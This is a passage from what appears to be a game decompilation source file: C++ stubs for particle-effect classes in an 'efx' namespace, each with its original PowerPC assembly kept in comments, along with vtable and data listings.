.global __vt__Q23efx22TKchYodareBaseChaseMtx
__vt__Q23efx22TKchYodareBaseChaseMtx:
.4byte 0
.4byte 0
.4byte create__Q23efx22TKchYodareBaseChaseMtxFPQ23efx3Arg
.4byte forceKill__Q23efx22TKchYodareBaseChaseMtxFv
.4byte fade__Q23efx22TKchYodareBaseChaseMtxFv
.4byte 0
.4byte 0
.4byte "@4@__dt__Q23efx22TKchYodareBaseChaseMtxFv"
.4byte "@4@execute__Q23efx5TSyncFP14JPABaseEmitter"
.4byte "@4@executeAfter__Q23efx5TSyncFP14JPABaseEmitter"
.4byte draw__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte drawAfter__18JPAEmitterCallBackFP14JPABaseEmitter
.4byte execute__Q23efx5TSyncFP14JPABaseEmitter
.4byte executeAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte doExecuteEmitterOperation__Q23efx9TChaseMtxFP14JPABaseEmitter
.4byte doExecuteAfter__Q23efx5TSyncFP14JPABaseEmitter
.4byte startDemoDrawOff__Q23efx22TKchYodareBaseChaseMtxFv
.4byte endDemoDrawOn__Q23efx22TKchYodareBaseChaseMtxFv
.4byte __dt__Q23efx22TKchYodareBaseChaseMtxFv
.global __vt__Q23efx27TParticleCallBack_KchYodare
__vt__Q23efx27TParticleCallBack_KchYodare:
.4byte 0
.4byte 0
.4byte __dt__Q23efx27TParticleCallBack_KchYodareFv
.4byte
execute__Q23efx27TParticleCallBack_KchYodareFP14JPABaseEmitterP15JPABaseParticle
.4byte draw__19JPAParticleCallBackFP14JPABaseEmitterP15JPABaseParticle
.4byte
init__Q23efx27TParticleCallBack_KchYodareFP14JPABaseEmitterP15JPABaseParticle
.global __vt__Q23efx13TKchDownsmoke
__vt__Q23efx13TKchDownsmoke:
.4byte 0
.4byte 0
.4byte create__Q23efx13TKchDownsmokeFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx10TKchDamage
__vt__Q23efx10TKchDamage:
.4byte 0
.4byte 0
.4byte create__Q23efx10TKchDamageFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple4Fv
.4byte fade__Q23efx8TSimple4Fv
.global __vt__Q23efx9TKchApWat
__vt__Q23efx9TKchApWat:
.4byte 0
.4byte 0
.4byte create__Q23efx9TKchApWatFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple5Fv
.4byte fade__Q23efx8TSimple5Fv
.global __vt__Q23efx10TKchApSand
__vt__Q23efx10TKchApSand:
.4byte 0
.4byte 0
.4byte create__Q23efx10TKchApSandFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple3Fv
.4byte fade__Q23efx8TSimple3Fv
.global __vt__Q23efx13TKchFlickSand
__vt__Q23efx13TKchFlickSand:
.4byte 0
.4byte 0
.4byte create__Q23efx13TKchFlickSandFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.global __vt__Q23efx10TOootaFire
__vt__Q23efx10TOootaFire:
.4byte 0
.4byte 0
.4byte create__Q23efx10TOootaFireFPQ23efx3Arg
.4byte "forceKill__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.4byte "fade__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.4byte "startDemoDrawOff__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.4byte "endDemoDrawOn__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>Fv"
.global __vt__Q23efx13TOootaBombLeg
__vt__Q23efx13TOootaBombLeg:
.4byte 0
.4byte 0
.4byte create__Q23efx13TOootaBombLegFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx10TKageDead2
__vt__Q23efx10TKageDead2:
.4byte 0
.4byte 0
.4byte create__Q23efx10TKageDead2FPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple1Fv
.4byte fade__Q23efx8TSimple1Fv
.global __vt__Q23efx10TDangoTurn
__vt__Q23efx10TDangoTurn:
.4byte 0
.4byte 0
.4byte create__Q23efx10TDangoTurnFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.global __vt__Q23efx11TDangoCrash
__vt__Q23efx11TDangoCrash:
.4byte 0
.4byte 0
.4byte create__Q23efx11TDangoCrashFPQ23efx3Arg
.4byte forceKill__Q23efx8TSimple2Fv
.4byte fade__Q23efx8TSimple2Fv
.section .sdata2, "a" # 0x80516360 - 0x80520E40
.global lbl_8051FE38
lbl_8051FE38:
.asciz "ArgDir"
.skip 1
.global lbl_8051FE40
lbl_8051FE40:
.float 0.0
.global lbl_8051FE44
lbl_8051FE44:
.float 1.0
.global lbl_8051FE48
lbl_8051FE48:
.asciz "ArgRotY"
.global lbl_8051FE50
lbl_8051FE50:
.float 100.0
*/
namespace efx {
/*
* --INFO--
* Address: 803EB360
* Size: 0001A8
*/
void TDangoCrash::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stfd f30, 0x50(r1)
psq_st f30, 88(r1), 0, qr0
stfd f29, 0x40(r1)
psq_st f29, 72(r1), 0, qr0
stw r31, 0x3c(r1)
stw r30, 0x38(r1)
mr r30, r4
mr r31, r3
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE38@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB3DC
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x10
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB3DC:
lfs f31, 0x10(r30)
mr r3, r31
lfs f30, 0x14(r30)
mr r4, r30
lfs f29, 0x18(r30)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB4D4
fmuls f1, f30, f30
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f29, f29
fmadds f1, f31, f31, f1
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EB428
ble lbl_803EB42C
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EB42C
lbl_803EB428:
fmr f1, f0
lbl_803EB42C:
lfs f0, lbl_8051FE40@sda21(r2)
fcmpo cr0, f1, f0
ble lbl_803EB44C
lfs f0, lbl_8051FE44@sda21(r2)
fdivs f0, f0, f1
fmuls f31, f31, f0
fmuls f30, f30, f0
fmuls f29, f29, f0
lbl_803EB44C:
lfs f5, lbl_8051FE40@sda21(r2)
lis r3, "zero__10Vector3<f>"@ha
lfsu f3, "zero__10Vector3<f>"@l(r3)
li r30, 0
fmuls f2, f5, f29
lfs f6, lbl_8051FE44@sda21(r2)
fmuls f4, f5, f30
lfs f1, 4(r3)
lfs f0, 8(r3)
fmsubs f2, f5, f31, f2
fnmsubs f7, f6, f31, f4
stfs f5, 0xc(r1)
fmsubs f4, f6, f29, f4
stfs f31, 0x10(r1)
stfs f4, 8(r1)
stfs f3, 0x14(r1)
stfs f2, 0x18(r1)
stfs f6, 0x1c(r1)
stfs f30, 0x20(r1)
stfs f1, 0x24(r1)
stfs f7, 0x28(r1)
stfs f5, 0x2c(r1)
stfs f29, 0x30(r1)
stfs f0, 0x34(r1)
lbl_803EB4AC:
lwz r4, 8(r31)
addi r3, r1, 8
addi r4, r4, 0x68
bl JPASetRMtxfromMtx__FPA4_CfPA4_f
addi r30, r30, 1
addi r31, r31, 4
cmpwi r30, 2
blt lbl_803EB4AC
li r3, 1
b lbl_803EB4D8
lbl_803EB4D4:
li r3, 0
lbl_803EB4D8:
psq_l f31, 104(r1), 0, qr0
lfd f31, 0x60(r1)
psq_l f30, 88(r1), 0, qr0
lfd f30, 0x50(r1)
psq_l f29, 72(r1), 0, qr0
lfd f29, 0x40(r1)
lwz r31, 0x3c(r1)
lwz r0, 0x74(r1)
lwz r30, 0x38(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EB508
* Size: 00011C
*/
void TDangoTurn::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stfd f30, 0x50(r1)
psq_st f30, 88(r1), 0, qr0
stfd f29, 0x40(r1)
psq_st f29, 72(r1), 0, qr0
stw r31, 0x3c(r1)
stw r30, 0x38(r1)
mr r30, r4
mr r31, r3
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r2, lbl_8051FE48@sda21
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB584
lis r3, lbl_80497910@ha
lis r5, lbl_80497924@ha
addi r3, r3, lbl_80497910@l
li r4, 0x2f
addi r5, r5, lbl_80497924@l
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB584:
lfs f31, 4(r30)
addi r3, r1, 8
lfs f30, 8(r30)
li r4, 0x79
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r31
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB5F0
li r30, 0
lbl_803EB5C4:
lwz r5, 8(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
addi r30, r30, 1
addi r31, r31, 4
cmpwi r30, 2
blt lbl_803EB5C4
li r3, 1
b lbl_803EB5F4
lbl_803EB5F0:
li r3, 0
lbl_803EB5F4:
psq_l f31, 104(r1), 0, qr0
lfd f31, 0x60(r1)
psq_l f30, 88(r1), 0, qr0
lfd f30, 0x50(r1)
psq_l f29, 72(r1), 0, qr0
lfd f29, 0x40(r1)
lwz r31, 0x3c(r1)
lwz r0, 0x74(r1)
lwz r30, 0x38(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EB624
* Size: 000030
*/
void TKageMove::setGlobalPrmColor(Color4&)
{
/*
lwz r6, 8(r3)
cmplwi r6, 0
beqlr
lbz r5, 2(r4)
lbz r3, 1(r4)
lbz r0, 0(r4)
stb r0, 0xb8(r6)
stb r3, 0xb9(r6)
stb r5, 0xba(r6)
lbz r0, 3(r4)
stb r0, 0xbb(r6)
blr
*/
}
/*
* --INFO--
* Address: 803EB654
* Size: 000030
*/
void TKageRun::setGlobalPrmColor(Color4&)
{
/*
lwz r6, 8(r3)
cmplwi r6, 0
beqlr
lbz r5, 2(r4)
lbz r3, 1(r4)
lbz r0, 0(r4)
stb r0, 0xb8(r6)
stb r3, 0xb9(r6)
stb r5, 0xba(r6)
lbz r0, 3(r4)
stb r0, 0xbb(r6)
blr
*/
}
/*
* --INFO--
* Address: 803EB684
* Size: 000030
*/
void TKageDead1::setGlobalPrmColor(Color4&)
{
/*
lwz r6, 8(r3)
cmplwi r6, 0
beqlr
lbz r5, 2(r4)
lbz r3, 1(r4)
lbz r0, 0(r4)
stb r0, 0xb8(r6)
stb r3, 0xb9(r6)
stb r5, 0xba(r6)
lbz r0, 3(r4)
stb r0, 0xbb(r6)
blr
*/
}
/*
* --INFO--
* Address: 803EB6B4
* Size: 0000CC
*/
void TKageDead2::create(efx::Arg*)
{
/*
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
mr r30, r4
lis r4, lbl_80497910@ha
stw r29, 0x14(r1)
mr r29, r3
mr r3, r30
addi r31, r4, lbl_80497910@l
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x20
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB71C
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x67
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB71C:
mr r3, r29
mr r4, r30
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB760
lbz r6, 0x12(r30)
li r3, 1
lbz r5, 0x11(r30)
lwz r4, 8(r29)
lbz r0, 0x10(r30)
stb r0, 0xb8(r4)
stb r5, 0xb9(r4)
stb r6, 0xba(r4)
lbz r0, 0x13(r30)
lwz r4, 8(r29)
stb r0, 0xbb(r4)
b lbl_803EB764
lbl_803EB760:
li r3, 0
lbl_803EB764:
lwz r0, 0x24(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x20
blr
*/
}
/*
* --INFO--
* Address: ........
* Size: 000018
*/
void TOootaParticle::setGlobalDynamicsScale(float)
{
// UNUSED FUNCTION
}
/*
* --INFO--
* Address: 803EB780
* Size: 000174
*/
void TOootaBombLeg::create(efx::Arg*)
{
/*
stwu r1, -0x70(r1)
mflr r0
stw r0, 0x74(r1)
stfd f31, 0x60(r1)
psq_st f31, 104(r1), 0, qr0
stw r31, 0x5c(r1)
stw r30, 0x58(r1)
stw r29, 0x54(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x2c
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB7F0
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x84
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB7F0:
lfs f0, 0x10(r30)
mr r3, r29
mr r4, r30
stfs f0, 0x14(r1)
lfs f0, 0x14(r30)
stfs f0, 0x18(r1)
lfs f0, 0x18(r30)
stfs f0, 0x1c(r1)
lfs f0, 0x1c(r30)
stfs f0, 8(r1)
lfs f0, 0x20(r30)
stfs f0, 0xc(r1)
lfs f0, 0x24(r30)
stfs f0, 0x10(r1)
bl create__Q23efx8TSimple1FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EB8CC
addi r3, r1, 0x20
addi r4, r1, 0x14
addi r5, r1, 8
bl "makeMtxZAxisAlongPosPos__3efxFPA4_fR10Vector3<f>R10Vector3<f>"
lfs f1, 0xc(r1)
lfs f0, 0x18(r1)
lfs f3, 0x10(r1)
fsubs f4, f1, f0
lfs f2, 0x1c(r1)
lfs f1, 8(r1)
lfs f0, 0x14(r1)
fsubs f2, f3, f2
fmuls f3, f4, f4
fsubs f1, f1, f0
lfs f0, lbl_8051FE40@sda21(r2)
fmuls f2, f2, f2
fmadds f1, f1, f1, f3
fadds f1, f2, f1
fcmpo cr0, f1, f0
ble lbl_803EB894
ble lbl_803EB898
frsqrte f0, f1
fmuls f1, f0, f1
b lbl_803EB898
lbl_803EB894:
fmr f1, f0
lbl_803EB898:
lfs f0, lbl_8051FE50@sda21(r2)
addi r3, r1, 0x20
lwz r5, 8(r29)
fdivs f31, f1, f0
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r4, 8(r29)
li r3, 1
lfs f1, 4(r4)
fmuls f1, f1, f31
stfs f1, 4(r4)
b lbl_803EB8D0
lbl_803EB8CC:
li r3, 0
lbl_803EB8D0:
psq_l f31, 104(r1), 0, qr0
lwz r0, 0x74(r1)
lfd f31, 0x60(r1)
lwz r31, 0x5c(r1)
lwz r30, 0x58(r1)
lwz r29, 0x54(r1)
mtlr r0
addi r1, r1, 0x70
blr
*/
}
/*
* --INFO--
* Address: 803EB8F4
* Size: 000150
*/
void TOootaFire::create(efx::Arg*)
{
/*
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
or. r30, r4, r4
lis r4, lbl_80497910@ha
stw r29, 0x14(r1)
mr r29, r3
addi r31, r4, lbl_80497910@l
bne lbl_803EB934
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xa1
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB934:
mr r3, r30
lwz r12, 0(r30)
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x38
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EB974
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xa2
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EB974:
mr r3, r29
mr r4, r30
bl "create__Q23efx29TSyncGroup6<Q23efx9TChaseMtx>FPQ23efx3Arg"
clrlwi. r0, r3, 0x18
beq lbl_803EBA24
lfs f0, 0x10(r30)
li r3, 1
lwz r4, 0xc(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x20(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x34(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x48(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x5c(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
lwz r4, 0x70(r29)
stfs f0, 0x98(r4)
stfs f0, 0x9c(r4)
stfs f0, 0xa0(r4)
stfs f0, 0xb0(r4)
stfs f0, 0xb4(r4)
b lbl_803EBA28
lbl_803EBA24:
li r3, 0
lbl_803EBA28:
lwz r0, 0x24(r1)
lwz r31, 0x1c(r1)
lwz r30, 0x18(r1)
lwz r29, 0x14(r1)
mtlr r0
addi r1, r1, 0x20
blr
*/
}
/*
* --INFO--
* Address: 803EBA44
* Size: 000154
*/
void TKchFlickSand::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stfd f28, 0x50(r1)
psq_st f28, 88(r1), 0, qr0
stw r31, 0x4c(r1)
stw r30, 0x48(r1)
stw r29, 0x44(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x44
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBACC
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xb5
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBACC:
lfs f28, 0x14(r30)
addi r3, r1, 8
lfs f31, 4(r30)
li r4, 0x79
lfs f30, 8(r30)
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r29
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple2FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBB58
li r30, 0
mr r31, r29
lbl_803EBB14:
lwz r5, 8(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 8(r31)
addi r30, r30, 1
cmpwi r30, 2
addi r31, r31, 4
stfs f28, 0x98(r3)
stfs f28, 0x9c(r3)
stfs f28, 0xa0(r3)
stfs f28, 0xb0(r3)
stfs f28, 0xb4(r3)
blt lbl_803EBB14
li r3, 1
b lbl_803EBB5C
lbl_803EBB58:
li r3, 0
lbl_803EBB5C:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
psq_l f28, 88(r1), 0, qr0
lfd f28, 0x50(r1)
lwz r31, 0x4c(r1)
lwz r30, 0x48(r1)
lwz r0, 0x94(r1)
lwz r29, 0x44(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EBB98
* Size: 000154
*/
void TKchApSand::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stfd f28, 0x50(r1)
psq_st f28, 88(r1), 0, qr0
stw r31, 0x4c(r1)
stw r30, 0x48(r1)
stw r29, 0x44(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x44
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBC20
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xcc
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBC20:
lfs f28, 0x14(r30)
addi r3, r1, 8
lfs f31, 4(r30)
li r4, 0x79
lfs f30, 8(r30)
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r29
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple3FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBCAC
li r30, 0
mr r31, r29
lbl_803EBC68:
lwz r5, 0xc(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 0xc(r31)
addi r30, r30, 1
cmpwi r30, 3
addi r31, r31, 4
stfs f28, 0x98(r3)
stfs f28, 0x9c(r3)
stfs f28, 0xa0(r3)
stfs f28, 0xb0(r3)
stfs f28, 0xb4(r3)
blt lbl_803EBC68
li r3, 1
b lbl_803EBCB0
lbl_803EBCAC:
li r3, 0
lbl_803EBCB0:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
psq_l f28, 88(r1), 0, qr0
lfd f28, 0x50(r1)
lwz r31, 0x4c(r1)
lwz r30, 0x48(r1)
lwz r0, 0x94(r1)
lwz r29, 0x44(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EBCEC
* Size: 000154
*/
void TKchApWat::create(efx::Arg*)
{
/*
stwu r1, -0x90(r1)
mflr r0
stw r0, 0x94(r1)
stfd f31, 0x80(r1)
psq_st f31, 136(r1), 0, qr0
stfd f30, 0x70(r1)
psq_st f30, 120(r1), 0, qr0
stfd f29, 0x60(r1)
psq_st f29, 104(r1), 0, qr0
stfd f28, 0x50(r1)
psq_st f28, 88(r1), 0, qr0
stw r31, 0x4c(r1)
stw r30, 0x48(r1)
stw r29, 0x44(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x44
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBD74
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0xe3
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBD74:
lfs f28, 0x14(r30)
addi r3, r1, 8
lfs f31, 4(r30)
li r4, 0x79
lfs f30, 8(r30)
lfs f29, 0xc(r30)
lfs f1, 0x10(r30)
bl PSMTXRotRad
stfs f31, 0x14(r1)
mr r3, r29
mr r4, r30
stfs f30, 0x24(r1)
stfs f29, 0x34(r1)
bl create__Q23efx8TSimple5FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBE00
li r30, 0
mr r31, r29
lbl_803EBDBC:
lwz r5, 0x10(r31)
addi r3, r1, 8
addi r4, r5, 0x68
addi r5, r5, 0xa4
bl "JPASetRMtxTVecfromMtx__FPA4_CfPA4_fPQ29JGeometry8TVec3<f>"
lwz r3, 0x10(r31)
addi r30, r30, 1
cmpwi r30, 5
addi r31, r31, 4
stfs f28, 0x98(r3)
stfs f28, 0x9c(r3)
stfs f28, 0xa0(r3)
stfs f28, 0xb0(r3)
stfs f28, 0xb4(r3)
blt lbl_803EBDBC
li r3, 1
b lbl_803EBE04
lbl_803EBE00:
li r3, 0
lbl_803EBE04:
psq_l f31, 136(r1), 0, qr0
lfd f31, 0x80(r1)
psq_l f30, 120(r1), 0, qr0
lfd f30, 0x70(r1)
psq_l f29, 104(r1), 0, qr0
lfd f29, 0x60(r1)
psq_l f28, 88(r1), 0, qr0
lfd f28, 0x50(r1)
lwz r31, 0x4c(r1)
lwz r30, 0x48(r1)
lwz r0, 0x94(r1)
lwz r29, 0x44(r1)
mtlr r0
addi r1, r1, 0x90
blr
*/
}
/*
* --INFO--
* Address: 803EBE40
* Size: 000040
*/
void TKchDiveSand::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EBE54
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBE54:
lwz r4, 0x24(r3)
cmplwi r4, 0
beq lbl_803EBE68
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBE68:
lwz r4, 0x3c(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EBE80
* Size: 000040
*/
void TKchDiveWat::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EBE94
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBE94:
lwz r4, 0x24(r3)
cmplwi r4, 0
beq lbl_803EBEA8
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBEA8:
lwz r4, 0x3c(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EBEC0
* Size: 00002C
*/
void TKchCryAB::setGlobalScale(float)
{
/*
lwz r4, 0xc(r3)
cmplwi r4, 0
beq lbl_803EBED4
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
lbl_803EBED4:
lwz r4, 0x20(r3)
cmplwi r4, 0
beqlr
stfs f1, 0xb0(r4)
stfs f1, 0xb4(r4)
blr
*/
}
/*
* --INFO--
* Address: 803EBEEC
* Size: 000018
*/
void TKchCryInd::setGlobalScale(float)
{
/*
lwz r3, 8(r3)
cmplwi r3, 0
beqlr
stfs f1, 0xb0(r3)
stfs f1, 0xb4(r3)
blr
*/
}
/*
* --INFO--
* Address: 803EBF04
* Size: 000118
*/
void TKchDamage::create(efx::Arg*)
{
/*
stwu r1, -0x30(r1)
mflr r0
stw r0, 0x34(r1)
stfd f31, 0x20(r1)
psq_st f31, 40(r1), 0, qr0
stw r31, 0x1c(r1)
stw r30, 0x18(r1)
stw r29, 0x14(r1)
mr r30, r4
mr r29, r3
mr r3, r30
lis r4, lbl_80497910@ha
lwz r12, 0(r30)
addi r31, r4, lbl_80497910@l
lwz r12, 8(r12)
mtctr r12
bctrl
mr r4, r3
addi r3, r31, 0x38
bl strcmp
cntlzw r0, r3
rlwinm. r0, r0, 0x1b, 0x18, 0x1f
bne lbl_803EBF74
addi r3, r31, 0
addi r5, r31, 0x14
li r4, 0x128
crclr 6
bl panic_f__12JUTExceptionFPCciPCce
lbl_803EBF74:
lfs f31, 0x10(r30)
mr r3, r29
mr r4, r30
bl create__Q23efx11TSimpleMtx4FPQ23efx3Arg
clrlwi. r0, r3, 0x18
beq lbl_803EBFF4
lwz r4, 0xc(r29)
li r3, 1
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
lwz r4, 0x10(r29)
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
stfs f31, 0xb4(r4)
lwz r4, 0x14(r29)
stfs f31, 0x98(r4)
stfs f31, 0x9c(r4)
stfs f31, 0xa0(r4)
stfs f31, 0xb0(r4)
